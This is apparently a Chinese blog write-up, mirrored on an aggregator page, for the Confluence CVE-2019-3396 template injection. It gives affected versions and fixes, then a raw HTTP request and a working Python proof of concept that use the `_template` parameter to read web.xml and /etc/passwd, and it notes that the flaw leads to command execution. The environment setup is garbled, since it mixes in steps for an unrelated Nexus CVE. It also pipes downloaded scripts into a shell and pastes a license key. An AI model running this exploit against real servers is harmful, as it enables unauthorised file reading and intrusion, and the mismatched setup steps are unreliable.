zoukankan      html  css  js  c++  java
  • CVE-2019-3396:Confluence未授权模板注入_代码执行

    title: Confluence未授权模板注入/代码执行(CVE-2019-3396)
    tags: [poc,cve]

    简介

    Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。confluence 的默认端口是 8090

    影响范围

    6.6.12版本之前所有版本
    6.7.0-6.12.2版本
    6.13.3之前的所有6.13.x版本
    6.14.2之前的所有6.14.x版本

    漏洞成因

    使用_template参数覆盖Velocity渲染模板, 使用file:协议可以进行任意文件读取(不再受限于classpath)

    修复方法

    1、升级Confluence版本
    2、主动升级widgetconnector-3.1.3.jar 到 widgetconnector-3.1.4.jar

    环境搭建

        1.在centos 7 上安装docker和docker-compose
        (1).安装PIP
            curl -s https://bootstrap.pypa.io/get-pip.py | python3
        (2).安装docker
            curl -s https://get.docker.com/ | sh
        (3).启动docker服务
            service docker start
        (4).安装docker compose
            pip install docker-compose
    2.使用方法
        (1).下载漏洞环境项目
            git clone https://github.com/vulhub/vulhub.git
        (2).进入到nexus利用环境
            cd vulhub/nexus/CVE-2019-7238
        (3).编译环境
            docker-compose build
        (4).执行如下命令启动Nexus Repository Manager 3.14.0
            docker-compose build
    

    漏洞复现

    1、进入到CVE-2019-7238目录
    cd CVE-2019-7238
    2、配置环境,在浏览器打开http://192.168.1.152:8090 进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server 的测试证书(不要选择Data Center和Addons),这里提供已经申请好的license key:
    AAABQw0ODAoPeNp1kFFrwjAUhd/zKwJ72R4ibXVqhcI07aajtWLd2MNeYrntAm0qaSL675c2E7exQR6Sc8J3zz03j5LjZ11hb4wdd+aZ42Aa7rDnuD6ijVAsV2tWQ6CYKGstNX8oa8arQd7UKG9EMTAf+NH4UgPaaJl/sBZCpiDoEMSZEG+MYp6DaCE6Hbg8fzOnxLu/TIkSg/1zTAbyCHIVBovFZELodvlE0vloQ/zR29JmMEhGQSiQNkem920u+UHxRljFwI0tmMj/SdFz1rreg0yLlxZkGxDXqpliskMXrGrhsouJE6/CLFqT2B36U8cfjpF5BT+VVJZM8Jb1QU5aFCBKRCX0wu+W+mFf+N35AH3vNE2SaEtX8xhV1no12Tqch0K4bmlaLCoNZj9829WBbR937zMcHVml+4noerW1fAJcbqnMMCwCFE/fa4LjnfCqQ1Hy5OCWZ72GDUKkAhQKri7+MDexgSKxdR82iMniZTblfQ==X02g4
    3、然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。如果提示填写cluster node,路径填写/home/confluence即可:
    后续要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres
    4、发送如下数据包,即可读取文件web.xml

    POST /rest/tinymce/1/macro/preview HTTP/1.1
    Host: localhost:8090
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
    Content-Type: application/json; charset=utf-8
    Content-Length: 176
    
    
    {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}
    

    6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https://...来加载远程文件。
    该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:

    POC

    #!/usr/bin/env python 
    # -*- coding:utf-8 -*-
    
    import requests
    from bs4 import BeautifulSoup as Bs4
    import json
    
    headers = {
        "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Connection": "close",
        "Referer": "http://192.168.1.152:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
        "Content-Type": "application/json; charset=utf-8"
    }
    def _poc(url):
        path = "/rest/tinymce/1/macro/preview"
        urls = url.strip() + path
        data = json.dumps({"contentId": "786458", "macro": {"name": "widget", "body": "",
                                              "params": {"url": "https://www.viddler.com/v/23464dc6", "width": "1000",
                                                         "height": "1000", "_template": "file:///etc/passwd"}}})
        response = requests.post(url = urls,data=data,headers=headers)
        soup = Bs4(response.text,"lxml").text
        print(soup)
    
    if __name__ == '__main__':
        url = "http://192.168.1.152:8090"
        _poc(url)
    
    
  • 相关阅读:
    8.10
    今日头条笔试题 1~n的每个数,按字典序排完序后,第m个数是什么?
    Gym 100500B Conference Room(最小表示法,哈希)
    CodeForces 438D The Child and Sequence(线段树)
    UVALIVE 6905 Two Yachts(最小费用最大流)
    Gym Conference Room (最小表示法,哈希)
    hdu 2389 Rain on your Parade(二分图HK算法)
    Codeforces Fox And Dinner(最大流)
    zoj 3367 Counterfeit Money(dp)
    ZOJ3370. Radio Waves(2-sat)
  • 原文地址:https://www.cnblogs.com/nul1/p/12462268.html
Copyright © 2011-2022 走看看